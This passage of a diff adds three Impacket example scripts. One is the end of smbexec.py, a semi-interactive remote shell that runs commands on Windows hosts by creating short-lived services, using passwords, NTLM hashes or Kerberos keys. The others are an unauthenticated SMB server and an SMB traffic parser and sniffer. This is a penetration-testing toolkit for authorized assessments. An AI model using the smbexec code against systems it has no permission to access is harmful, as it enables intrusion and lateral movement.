||||
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
|
||||
self.shell.cmdloop()
|
||||
if self.__mode == 'SERVER':
|
||||
serverThread.stop()
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
logging.critical(str(e))
|
||||
if self.shell is not None:
|
||||
self.shell.finish()
|
||||
sys.stdout.flush()
|
||||
sys.exit(1)
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, rpc, mode, serviceName):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
|
||||
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__command = ''
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__serviceName = serviceName
|
||||
self.__rpc = rpc
|
||||
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
|
||||
|
||||
self.__scmr = rpc.get_dce_rpc()
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
s = rpc.get_smb_connection()
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
if mode == 'SERVER':
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
self.transferClient = rpc.get_smb_connection()
|
||||
self.do_cd('')
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
try:
|
||||
self.__scmr = self.__rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
||||
service = resp['lpServiceHandle']
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def emptyline(self):
|
||||
return False
|
||||
|
||||
def do_cd(self, s):
|
||||
# We just can't CD or mantain track of the target dir.
|
||||
if len(s) > 0:
|
||||
logging.error("You can't CD under SMBEXEC. Use full paths.")
|
||||
|
||||
self.execute_remote('cd ' )
|
||||
if len(self.__outputBuffer) > 0:
|
||||
# Stripping CR/LF
|
||||
self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>'
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def do_CD(self, s):
|
||||
return self.do_cd(s)
|
||||
|
||||
def default(self, line):
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__mode == 'SHARE':
|
||||
self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
|
||||
self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
|
||||
else:
|
||||
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
|
||||
output_callback(fd.read())
|
||||
fd.close()
|
||||
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
|
||||
self.__shell + self.__batchFile
|
||||
if self.__mode == 'SERVER':
|
||||
command += ' & ' + self.__copyBack
|
||||
command += ' & ' + 'del ' + self.__batchFile
|
||||
|
||||
logging.debug('Executing %s' % command)
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
print self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from '
|
||||
'(default C$)')
|
||||
parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE',
|
||||
help='mode to use (default SHARE, SERVER needs root!)')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
|
||||
'If ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
|
||||
'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
|
||||
'name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in remoteName:
|
||||
password = password + '@' + remoteName.rpartition('@')[0]
|
||||
remoteName = remoteName.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = remoteName
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
try:
|
||||
executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k,
|
||||
options.dc_ip, options.mode, options.share, int(options.port))
|
||||
executer.run(remoteName, options.target_ip)
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
sys.exit(0)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Simple SMB Server example.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
import logging
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import smbserver, version
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
|
||||
"share specified as an argument. You need to be root in order to bind to port 445. "
|
||||
"No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP "
|
||||
"/tmp")
|
||||
|
||||
parser.add_argument('shareName', action='store', help='name of the share to add')
|
||||
parser.add_argument('sharePath', action='store', help='path of the share to add')
|
||||
parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
options = parser.parse_args()
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
if options.comment is None:
|
||||
comment = ''
|
||||
else:
|
||||
comment = options.comment
|
||||
|
||||
server = smbserver.SimpleSMBServer()
|
||||
|
||||
server.addShare(options.shareName.upper(), options.sharePath, comment)
|
||||
server.setSMB2Support(options.smb2support)
|
||||
|
||||
# Here you can set a custom SMB challenge in hex format
|
||||
# If empty defaults to '4141414141414141'
|
||||
# (remember: must be 16 hex bytes long)
|
||||
# e.g. server.setSMBChallenge('12345678abcdef00')
|
||||
server.setSMBChallenge('')
|
||||
|
||||
# If you don't want log to stdout, comment the following line
|
||||
# If you want log dumped to a file, enter the filename
|
||||
server.setLogFile('')
|
||||
|
||||
# Rock and roll
|
||||
server.start()
|
||||
|
||||
@@ -0,0 +1,466 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Parses a pcap file or sniffes traffic from the net and checks the SMB structs for errors.
|
||||
# Log the error packets in outFile
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino <bethus@gmail.com>
|
||||
#
|
||||
# ToDo:
|
||||
# [ ] Add more SMB Commands
|
||||
# [ ] Do the same for DCERPC
|
||||
|
||||
import struct
|
||||
from select import select
|
||||
import socket
|
||||
import argparse
|
||||
from impacket import pcapfile, smb, nmb, ntlm, version
|
||||
from impacket import ImpactPacket, ImpactDecoder, structure
|
||||
|
||||
# Command handler
|
||||
|
||||
def smbTransaction2( packet, packetNum, SMBCommand, questions, replies):
|
||||
# Test return code is always 0, otherwise leave before doing anything
|
||||
if packet['ErrorCode'] != 0:
|
||||
return False
|
||||
|
||||
print "SMB_COM_TRANSACTION2 ",
|
||||
try:
|
||||
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
|
||||
# Query
|
||||
|
||||
trans2Parameters= smb.SMBTransaction2_Parameters(SMBCommand['Parameters'])
|
||||
|
||||
# Do the stuff
|
||||
if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']:
|
||||
# TODO: Handle partial parameters
|
||||
#print "Unsupported partial parameters in TRANSACT2!"
|
||||
raise Exception("Unsupported partial parameters in TRANSACT2!")
|
||||
else:
|
||||
trans2Data = smb.SMBTransaction2_Data()
|
||||
# Standard says servers shouldn't trust Parameters and Data comes
|
||||
# in order, so we have to parse the offsets, ugly
|
||||
|
||||
paramCount = trans2Parameters['ParameterCount']
|
||||
trans2Data['Trans_ParametersLength'] = paramCount
|
||||
dataCount = trans2Parameters['DataCount']
|
||||
trans2Data['Trans_DataLength'] = dataCount
|
||||
|
||||
if trans2Parameters['ParameterOffset'] > 0:
|
||||
paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength']
|
||||
trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount]
|
||||
else:
|
||||
trans2Data['Trans_Parameters'] = ''
|
||||
|
||||
if trans2Parameters['DataOffset'] > 0:
|
||||
dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength']
|
||||
trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
|
||||
else:
|
||||
# Response
|
||||
# ToDo not implemented yet
|
||||
a = 1
|
||||
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: 0x%x" % packet['Command']
|
||||
print "Packet: %d %r" % (packetNum, packet.getData())
|
||||
return True
|
||||
else:
|
||||
print 'OK!'
|
||||
|
||||
return False
|
||||
|
||||
def smbComOpenAndX( packet, packetNum, SMBCommand, questions, replies):
|
||||
|
||||
# Test return code is always 0, otherwise leave before doing anything
|
||||
if packet['ErrorCode'] != 0:
|
||||
return True
|
||||
|
||||
print "SMB_COM_OPEN_ANDX ",
|
||||
try:
|
||||
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
|
||||
# Query
|
||||
|
||||
openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters'])
|
||||
openAndXData = smb.SMBOpenAndX_Data(SMBCommand['Data'])
|
||||
|
||||
else:
|
||||
# Response
|
||||
openFileResponse = SMBCommand
|
||||
openFileParameters = smb.SMBOpenAndXResponse_Parameters(openFileResponse['Parameters'])
|
||||
|
||||
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: 0x%x" % packet['Command']
|
||||
print "Packet: %d %r" % (packetNum, packet.getData())
|
||||
return True
|
||||
else:
|
||||
print 'OK!'
|
||||
|
||||
return False
|
||||
|
||||
def smbComWriteAndX( packet, packetNum, SMBCommand, questions, replies):
|
||||
|
||||
# Test return code is always 0, otherwise leave before doing anything
|
||||
if packet['ErrorCode'] != 0:
|
||||
return False
|
||||
|
||||
print "SMB_COM_WRITE_ANDX ",
|
||||
try:
|
||||
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
|
||||
# Query
|
||||
|
||||
if SMBCommand['WordCount'] == 0x0C:
|
||||
writeAndX = smb.SMBWriteAndX_Parameters2(SMBCommand['Parameters'])
|
||||
else:
|
||||
writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters'])
|
||||
writeAndXData = smb.SMBWriteAndX_Data()
|
||||
writeAndXData['DataLength'] = writeAndX['DataLength']
|
||||
if writeAndX['DataLength'] > 0:
|
||||
writeAndXData.fromString(SMBCommand['Data'])
|
||||
else:
|
||||
# Response
|
||||
writeResponse = SMBCommand
|
||||
writeResponseParameters = smb.SMBWriteAndXResponse_Parameters(writeResponse['Parameters'])
|
||||
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: 0x%x" % packet['Command']
|
||||
print "Packet: %d %r" % (packetNum, packet.getData())
|
||||
return True
|
||||
else:
|
||||
print 'OK!'
|
||||
|
||||
return False
|
||||
|
||||
def smbComNtCreateAndX( packet, packetNum, SMBCommand, questions, replies):
|
||||
|
||||
# Test return code is always 0, otherwise leave before doing anything
|
||||
if packet['ErrorCode'] != 0:
|
||||
return False
|
||||
|
||||
print "SMB_COM_NT_CREATE_ANDX ",
|
||||
try:
|
||||
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
|
||||
# Query
|
||||
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
|
||||
ntCreateAndXData = smb.SMBNtCreateAndX_Data(SMBCommand['Data'])
|
||||
else:
|
||||
# Response
|
||||
ntCreateResponse = SMBCommand
|
||||
ntCreateParameters = smb.SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters'])
|
||||
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: 0x%x" % packet['Command']
|
||||
print "Packet: %d %r" % (packetNum, packet.getData())
|
||||
return True
|
||||
else:
|
||||
print 'OK!'
|
||||
|
||||
return False
|
||||
|
||||
def smbComTreeConnectAndX( packet, packetNum, SMBCommand, questions, replies):
|
||||
|
||||
# Test return code is always 0, otherwise leave before doing anything
|
||||
if packet['ErrorCode'] != 0:
|
||||
return False
|
||||
|
||||
print "SMB_COM_TREE_CONNECT_ANDX ",
|
||||
try:
|
||||
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
|
||||
# Query
|
||||
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
|
||||
treeConnectAndXData = smb.SMBTreeConnectAndX_Data()
|
||||
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
|
||||
treeConnectAndXData.fromString(SMBCommand['Data'])
|
||||
else:
|
||||
# Response
|
||||
treeConnectAndXParameters = smb.SMBTreeConnectAndXResponse_Parameters(SMBCommand['Parameters'])
|
||||
#treeConnectAndXData = smb.SMBTreeConnectAndXResponse_Data(SMBCommand['Data'])
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: 0x%x" % packet['Command']
|
||||
print "Packet: %d %r" % (packetNum, packet.getData())
|
||||
return True
|
||||
else:
|
||||
print 'OK!'
|
||||
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def smbComSessionSetupAndX( packet, packetNum, SMBCommand, questions, replies):
|
||||
|
||||
# Test return code is always 0, otherwise leave before doing anything
|
||||
if packet['ErrorCode'] != 0:
|
||||
if packet['ErrorClass'] != 0x16:
|
||||
return False
|
||||
|
||||
print "SMB_COM_SESSION_SETUP_ANDX ",
|
||||
try:
|
||||
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
|
||||
# Query
|
||||
if SMBCommand['WordCount'] == 12:
|
||||
# Extended Security
|
||||
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
|
||||
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
|
||||
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
|
||||
sessionSetupData.fromString(SMBCommand['Data'])
|
||||
|
||||
if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID:
|
||||
# If there no GSSAPI ID, it must be an AUTH packet
|
||||
blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
|
||||
token = blob['ResponseToken']
|
||||
else:
|
||||
# NEGOTIATE packet
|
||||
blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
|
||||
token = blob['MechToken']
|
||||
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
|
||||
if messageType == 0x01:
|
||||
# NEGOTIATE_MESSAGE
|
||||
negotiateMessage = ntlm.NTLMAuthNegotiate()
|
||||
negotiateMessage.fromString(token)
|
||||
elif messageType == 0x03:
|
||||
# AUTHENTICATE_MESSAGE, here we deal with authentication
|
||||
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
|
||||
authenticateMessage.fromString(token)
|
||||
|
||||
else:
|
||||
# Standard Security
|
||||
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
|
||||
sessionSetupData = smb.SMBSessionSetupAndX_Data()
|
||||
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
|
||||
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
|
||||
sessionSetupData.fromString(SMBCommand['Data'])
|
||||
|
||||
else:
|
||||
# Response
|
||||
if SMBCommand['WordCount'] == 4:
|
||||
# Extended Security
|
||||
sessionResponse = SMBCommand
|
||||
sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
|
||||
sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data(flags = packet['Flags2'])
|
||||
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
|
||||
sessionData.fromString(sessionResponse['Data'])
|
||||
respToken = smb.SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
|
||||
if respToken.fields.has_key('ResponseToken'):
|
||||
# Let's parse some data and keep it to ourselves in case it is asked
|
||||
ntlmChallenge = ntlm.NTLMAuthChallenge(respToken['ResponseToken'])
|
||||
if ntlmChallenge['TargetInfoFields_len'] > 0:
|
||||
infoFields = ntlmChallenge['TargetInfoFields']
|
||||
av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
__server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
|
||||
__server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
|
||||
|
||||
|
||||
else:
|
||||
# Standard Security
|
||||
sessionResponse = SMBCommand
|
||||
|
||||
sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])
|
||||
sessionData = smb.SMBSessionSetupAndXResponse_Data(flags = packet['Flags2'], data = sessionResponse['Data'])
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: 0x%x" % packet['Command']
|
||||
print "Packet: %d %r" % (packetNum, packet.getData())
|
||||
return True
|
||||
else:
|
||||
print 'OK!'
|
||||
|
||||
|
||||
return False
|
||||
|
||||
def smbComNegotiate( packet, packetNum, command, questions, replies):
|
||||
sessionResponse = command
|
||||
|
||||
if packet['Flags1'] & smb.SMB.FLAGS1_REPLY:
|
||||
print "SMB_COM_NEGOTIATE ",
|
||||
try:
|
||||
_dialects_parameters = smb.SMBNTLMDialect_Parameters(sessionResponse['Parameters'])
|
||||
_dialects_data = smb.SMBNTLMDialect_Data()
|
||||
_dialects_data['ChallengeLength'] = _dialects_parameters['ChallengeLength']
|
||||
_dialects_data.fromString(sessionResponse['Data'])
|
||||
if _dialects_parameters['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
|
||||
_dialects_parameters = smb.SMBExtended_Security_Parameters(sessionResponse['Parameters'])
|
||||
_dialects_data = smb.SMBExtended_Security_Data(sessionResponse['Data'])
|
||||
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: 0x%x" % packet['Command']
|
||||
print "Packet: %d %r" % (packetNum, packet.getData())
|
||||
return True
|
||||
else:
|
||||
print 'OK!'
|
||||
|
||||
|
||||
return False
|
||||
|
||||
# Format
|
||||
# { SMBCOMMAND: ((questionStruts),(replyStructus), handler) }
|
||||
HANDLER = 2
|
||||
REPLIES = 1
|
||||
QUESTIONS = 0
|
||||
|
||||
smbCommands = {
|
||||
# smb.SMB.SMB_COM_CREATE_DIRECTORY: (,
|
||||
# smb.SMB.SMB_COM_DELETE_DIRECTORY: self.smbComDeleteDirectory,
|
||||
# smb.SMB.SMB_COM_RENAME: self.smbComRename,
|
||||
# smb.SMB.SMB_COM_DELETE: self.smbComDelete,
|
||||
smb.SMB.SMB_COM_NEGOTIATE: ( None,None,smbComNegotiate),
|
||||
smb.SMB.SMB_COM_SESSION_SETUP_ANDX: ( None,None,smbComSessionSetupAndX),
|
||||
# smb.SMB.SMB_COM_LOGOFF_ANDX: self.smbComLogOffAndX,
|
||||
smb.SMB.SMB_COM_TREE_CONNECT_ANDX: ( None,None,smbComTreeConnectAndX),
|
||||
# smb.SMB.SMB_COM_TREE_DISCONNECT: self.smbComTreeDisconnect,
|
||||
# smb.SMB.SMB_COM_ECHO: self.get_th_sportsmbComEcho,
|
||||
# smb.SMB.SMB_COM_QUERY_INFORMATION: self.smbQueryInformation,
|
||||
smb.SMB.SMB_COM_TRANSACTION2: ( None, None, smbTransaction2),
|
||||
# smb.SMB.SMB_COM_TRANSACTION: self.smbTransaction,
|
||||
# smb.SMB.SMB_COM_NT_TRANSACT: self.smbNTTransact,
|
||||
# smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: sler.smbQueryInformationDisk,
|
||||
smb.SMB.SMB_COM_OPEN_ANDX: (None, None, smbComOpenAndX),
|
||||
# smb.SMB.SMB_COM_QUERY_INFORMATION2: self.smbComQueryInformation2,
|
||||
# smb.SMB.SMB_COM_READ_ANDX: self.smbComReadAndX,
|
||||
# smb.SMB.SMB_COM_READ: self.smbComRead,
|
||||
smb.SMB.SMB_COM_WRITE_ANDX: (None, None, smbComWriteAndX),
|
||||
# smb.SMB.SMB_COM_WRITE: self.smbComWrite,
|
||||
# smb.SMB.SMB_COM_CLOSE: self.smbComClose,
|
||||
# smb.SMB.SMB_COM_LOCKING_ANDX: self.smbComLockingAndX,
|
||||
smb.SMB.SMB_COM_NT_CREATE_ANDX: (None, None, smbComNtCreateAndX),
|
||||
# 0xFF: self.default
|
||||
}
|
||||
|
||||
# Returns True is the packet needs to be logged
|
||||
def process(data, packetNum):
|
||||
packet = smb.NewSMBPacket()
|
||||
if data.get_packet()[0] == '\x00':
|
||||
if data.get_packet()[4:8] == '\xffSMB':
|
||||
try:
|
||||
packet.fromString(data.get_packet()[4:])
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: SMBPacket"
|
||||
print "Packet: %d %r" % (packetNum, data.get_packet())
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
||||
try:
|
||||
SMBCommand = smb.SMBCommand(packet['Data'][0])
|
||||
except Exception, e:
|
||||
print "ERROR: %s" % e
|
||||
print "Command: SMBCommand"
|
||||
print "Packet: %d %r" % (packetNum, data.get_packet())
|
||||
return True
|
||||
|
||||
if smbCommands.has_key(packet['Command']):
|
||||
return smbCommands[packet['Command']][HANDLER](packet, packetNum, SMBCommand, smbCommands[packet['Command']][QUESTIONS], smbCommands[packet['Command']][REPLIES])
|
||||
#else:
|
||||
# print "Command 0x%x not handled" % packet['Command']
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
import sys
|
||||
DEFAULT_PROTOCOLS = ('tcp',)
|
||||
sockets = []
|
||||
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-i", metavar = 'FILE', help = 'pcap file to read packets. If not specified the program sniffes traffic (only as root)')
|
||||
parser.add_argument("-o", metavar = 'FILE', help = 'pcap output file where the packets with errors will be written')
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
outFile = options.o
|
||||
|
||||
if options.i is None:
|
||||
sniffTraffic = True
|
||||
toListen = DEFAULT_PROTOCOLS
|
||||
else:
|
||||
sniffTraffic = False
|
||||
inFile = options.i
|
||||
|
||||
packetNum = 0
|
||||
|
||||
if outFile:
|
||||
f_out = open(outFile,'wb')
|
||||
f_out.write(str(pcapfile.PCapFileHeader()))
|
||||
|
||||
if sniffTraffic is False:
|
||||
f_in = open(inFile,'rb')
|
||||
|
||||
hdr = pcapfile.PCapFileHeader()
|
||||
hdr.fromString(f_in.read(len(hdr)))
|
||||
decoder = ImpactDecoder.EthDecoder()
|
||||
else:
|
||||
for protocol in toListen:
|
||||
try:
|
||||
protocol_num = socket.getprotobyname(protocol)
|
||||
except socket.error:
|
||||
print "Ignoring unknown protocol:", protocol
|
||||
toListen.remove(protocol)
|
||||
continue
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
|
||||
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
||||
sockets.append(s)
|
||||
print "Listening on protocols:", toListen
|
||||
decoder = ImpactDecoder.IPDecoder()
|
||||
|
||||
while 1:
|
||||
if sniffTraffic is False:
|
||||
pkt = pcapfile.PCapFilePacket()
|
||||
try:
|
||||
pkt.fromString(f_in.read(len(pkt)))
|
||||
except:
|
||||
break
|
||||
pkt['data'] = f_in.read(pkt['savedLength'])
|
||||
p = pkt['data']
|
||||
else:
|
||||
ready = select(sockets, [], [])[0]
|
||||
for s in ready:
|
||||
p = s.recvfrom(4096)[0]
|
||||
if 0 == len(p):
|
||||
# Socket remotely closed. Discard it.
|
||||
sockets.remove(s)
|
||||
s.close()
|
||||
|
||||
packet = decoder.decode(p)
|
||||
packetNum += 1
|
||||
if sniffTraffic is True:
|
||||
instance = packet.child()
|
||||
else:
|
||||
instance = packet.child().child()
|
||||
|
||||
if isinstance(instance, ImpactPacket.TCP):
|
||||
tcppacket = instance
|
||||
if tcppacket.get_th_sport() == 445 or tcppacket.get_th_dport() == 445 or tcppacket.get_th_sport() == 139 or tcppacket.get_th_dport() == 139:
|
||||
data = tcppacket.child()
|
||||
if data.get_size() > 0:
|
||||
logPacket = process(data, packetNum)
|
||||
if logPacket is True:
|
||||
pkt_out = pcapfile.PCapFilePacket()
|
||||
if sniffTraffic is True:
|
||||
eth = ImpactPacket.Ethernet()
|
||||
eth.contains(packet)
|
||||
eth.set_ether_type(0x800)
|
||||
pkt_out['data'] = eth.get_packet()
|
||||
else:
|
||||
pkt_out['data'] = str(p)
|
||||
if outFile:
|
||||
f_out.write(str(pkt_out))
|
||||
|
||||
if __name__ == '__main__':
|
